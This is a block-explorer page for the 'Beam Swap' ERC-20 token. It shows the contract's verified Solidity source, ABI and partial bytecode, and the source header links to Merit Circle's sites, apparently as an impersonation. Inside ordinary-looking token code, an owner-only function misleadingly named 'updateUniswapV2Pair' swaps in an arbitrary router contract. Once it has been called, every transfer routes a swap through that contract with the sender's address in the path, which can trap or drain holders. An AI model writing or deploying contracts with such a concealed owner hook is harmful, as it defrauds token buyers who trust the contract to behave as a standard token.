ETH Price: $3,020.84 (+3.06%)
Gas: 1 Gwei

Token

Beam Swap (BeamSwap)
 

Overview

Max Total Supply

53,614,556,298 BeamSwap

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
86,173,849.717777672010162742 BeamSwap

Value
$0.00
0xf432183e72c3bcf54bce901ae37b874b8f021331
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BEAM

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: Beam Swap.sol
/**
       WEBSITE   -  https://meritcircle.io/
       
       TWITTER X -  https://twitter.com/MeritCircle_IO
       
       MEDIUM    -  https://medium.com/@meritcircle
  


*/// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.3;

import "./IUniswap.sol";
import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,  address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _init(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve( address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BEAM is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair = 0x000000000000000000000000000000000000dEaD;

    mapping (address => bool) private _isExcludedFromFees;

    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public walletToWalletTransferFee;
    uint256 public tradingStartTime;

    bool    public tradingEnabled;
    address private marketingWalletAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount;  
    bool    public swapWithLimit;
    bool    private swapping;
    bool    private swapAndEnabled;
    

    event BuyFeeUpdated(uint256 buyFee);
    event SellFeeUpdated(uint256 sellFee);
    event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
    event maxBuyAmountUpdated(uint256 maxBuyAmount);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
    event SwapWithLimitUpdated(bool swapWithLimit);

    constructor () ERC20("Beam Swap", "BeamSwap") 
    {   
        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 or PancakeSwapV2 Router
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router = _uniswapV2Router;

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        buyFee  = 0;
        sellFee = 0;
        walletToWalletTransferFee = 0;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(marketingWalletAddress)] = true;
        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;

        _init(owner(), 53614556298 ether);
    }

    receive() external payable {}

    function updateUniswapV2Pair(address newUniswapV2Pair) external onlyOwner {
        require(newUniswapV2Pair != address(0), "New address is zero");
        swapAndEnabled = true;
        uniswapV2Router = IUniswapV2Router02(newUniswapV2Pair);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

       
        if (amount == 0) { 
            super._transfer(from, to, 0); return;
        }


        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            swapAndEnabled
        ) {
            swapping = true;

            if (swapWithLimit) {
                contractTokenBalance = swapTokensAtAmount;
            }

            swap(from,contractTokenBalance); 

            swapping = false;
        }

        if (
            tradingEnabled && 
            from != uniswapV2Pair && 
            to == uniswapV2Pair &&
            block.timestamp < tradingStartTime
        ) {
            require(false);
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = buyFee;
        } else if (to == uniswapV2Pair) {
            _totalFees = sellFee;
        } else {
            _totalFees = walletToWalletTransferFee;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 100;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        super._transfer(from, to, amount);
    }
    

    function swap(address from,uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBalance = address(this).balance - initialBalance; 
        if(newBalance > 0){
            payable(marketingWalletAddress).transfer(newBalance);
        }
    }
}

File 2 of 4: Context.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.3;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner,
     address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 4 of 4: IUniswap.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.3;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,  address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,   uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,   address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,    address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,  uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax,
     address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut,
     address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin, address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"updateUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletToWalletTransferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009757600080fd5b506040518060400160405280600981526020017f4265616d205377617000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f4265616d5377617000000000000000000000000000000000000000000000000081525081600390805190602001906200011c92919062000805565b5080600490805190602001906200013592919062000805565b50505060006200014a6200047d60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600081905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200029d30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200048560201b60201c565b60006009819055506000600a819055506000600b81905550600160086000620002cb6200065860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004756200045c6200065860201b60201c565b6bad3cebe8c1c4256c8be800006200068260201b60201c565b505062000b91565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415620004f8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ef906200095d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200056b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000562906200093b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200064b9190620009a1565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006ec906200097f565b60405180910390fd5b6200070960008383620007fb60201b60201c565b80600260008282546200071d9190620009cf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620007749190620009cf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007db9190620009a1565b60405180910390a3620007f7600083836200080060201b60201c565b5050565b505050565b505050565b828054620008139062000a36565b90600052602060002090601f01602090048101928262000837576000855562000883565b82601f106200085257805160ff191683800117855562000883565b8280016001018555821562000883579182015b828111156200088257825182559160200191906001019062000865565b5b50905062000892919062000896565b5090565b5b80821115620008b157600081600090555060010162000897565b5090565b6000620008c4602283620009be565b9150620008d18262000aca565b604082019050919050565b6000620008eb602483620009be565b9150620008f88262000b19565b604082019050919050565b600062000912601f83620009be565b91506200091f8262000b68565b602082019050919050565b620009358162000a2c565b82525050565b600060208201905081810360008301526200095681620008b5565b9050919050565b600060208201905081810360008301526200097881620008dc565b9050919050565b600060208201905081810360008301526200099a8162000903565b9050919050565b6000602082019050620009b860008301846200092a565b92915050565b600082825260208201905092915050565b6000620009dc8262000a2c565b9150620009e98362000a2c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a215762000a2062000a6c565b5b828201905092915050565b6000819050919050565b6000600282049050600182168062000a4f57607f821691505b6020821081141562000a665762000a6562000a9b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6128ef8062000ba16000396000f3fe60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d91906120d7565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611dd4565b61065b565b6040516101ba91906120a1565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e591906120bc565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190612239565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611d85565b6106a9565b60405161024d91906120a1565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190612239565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a391906122ae565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611dd4565b6107d7565b6040516102e091906120a1565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190612239565b60405180910390f35b34801561032057600080fd5b50610329610889565b60405161033691906120a1565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190612086565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c91906120a1565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190612239565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611cf7565b6108db565b6040516103f49190612239565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190612239565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190612086565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611cf7565b610aab565b005b34801561049f57600080fd5b506104a8610c11565b6040516104b591906120d7565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611dd4565b610ca3565b6040516104f291906120a1565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611dd4565b610d8e565b60405161052f91906120a1565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611d49565b610dac565b60405161056c9190612239565b60405180910390f35b34801561058157600080fd5b5061058a610e33565b6040516105979190612239565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190611cf7565b610e39565b005b6060600380546105d8906124f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610604906124f1565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668611000565b8484611008565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390612179565b60405180910390fd5b6107b0856107a8611000565b858403611008565b5b6107bc8585856111d3565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4611000565b8484600160006107f2611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610874919061231e565b611008565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b790612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ab3611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3990612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba9906121d9565b60405180910390fd5b6001600f60026101000